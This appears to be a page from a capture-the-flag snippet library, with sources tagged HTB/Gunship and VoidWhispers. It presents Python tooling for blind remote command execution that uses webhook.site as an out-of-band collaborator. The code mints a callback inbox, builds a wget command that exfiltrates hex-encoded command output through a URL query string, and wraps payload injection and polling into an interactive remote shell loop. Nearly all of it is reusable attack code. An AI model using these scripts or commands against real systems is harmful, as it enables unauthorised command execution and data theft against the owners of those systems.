Skip to content
webhook.site

webhook.site

webhook.site collaborator — create and poll

Mints a hosted callback inbox, polls the newest captured request, and returns the data query parameter.

A hosted collaborator avoids running a public listener. POST /token creates an inbox and returns a uuid; callbacks land at https://webhook.site/<uuid> and can be read from /token/<uuid>/requests?sorting=newest. The snippets below assume command output is hex-encoded before exfiltration so spaces, newlines, and shell metacharacters survive the URL query string.

import requests
import time

WEBHOOK = "https://webhook.site"

def create_webhook(s):
    r = s.post(url=f"{WEBHOOK}/token", timeout=10)
    uuid = r.json()["uuid"]
    callback_url = f"{WEBHOOK}/{uuid}"
    print(f"[+] Collaborator URL: {callback_url}")
    return uuid, callback_url

def poll_webhook(s, uuid):
    poll_url = f"{WEBHOOK}/token/{uuid}/requests?sorting=newest"
    while True:
        data = s.get(url=poll_url, timeout=10).json().get("data", [])
        if data:
            query = data[0].get("query", {})
            if query.get("data"):
                return query["data"]
        print("[*] waiting for callback...")
        time.sleep(2)

Find by: oob, out of band, webhook.site, collaborator, callback, poll, uuid, blind exfil, no listener, hosted, request bin · Source: HTB/VoidWhispers + HTB/Gunship

Send command output to webhook.site

Partial replacement snippet. Builds a one-shot shell command that sends hex-encoded command output to the callback URL.

The target-side command uses wget -qO /dev/null so the HTTP response body is discarded and output is carried only in ?data=.... xxd -p -c 9999 hex-encodes the output on one line; without -c 9999, xxd -p wraps long output and can split the exfil value.

def oob_command(callback_url, command):
    return f"wget -qO /dev/null {callback_url}?data=$({command} | xxd -p -c 9999)"

def decode_oob_value(hex_value):
    return bytes.fromhex(hex_value).decode()

Target-side command

wget -qO /dev/null https://webhook.site/<uuid>?data=$(id | xxd -p -c 9999)

Find by: webhook.site, wget, xxd, hex exfil, command output, blind rce, oob command, callback url

webhook.site command loop

Wraps a target-specific send primitive with a command prompt, waits briefly, then polls webhook.site for the newest output.

send_payload() is the only target-specific part: it places the OOB command into the reachable sink, such as a JSON field, template expression, command argument, or prototype-pollution gadget. The loop reuses one callback inbox and prints decoded output after every command.

def send_payload(s, callback_url, command):
    cmd = oob_command(callback_url, command)
    payload = {
        "field": cmd
    }
    s.post(url=f"{URL}/sink", json=payload, verify=False, timeout=10, proxies=PROXIES)

def oob_shell(s):
    uuid, callback_url = create_webhook(s)
    while True:
        command = input("> ").strip()
        if not command:
            continue
        send_payload(s, callback_url, command)
        time.sleep(4)
        hex_output = poll_webhook(s, uuid)
        print(decode_oob_value(hex_output))

try:
    oob_shell(s)
except (KeyboardInterrupt, EOFError):
    print("\n[-] interrupted")

Find by: webhook.site, command loop, oob shell, blind rce loop, poll callback, exfil loop, interactive command, hosted collaborator · Source: HTB/Gunship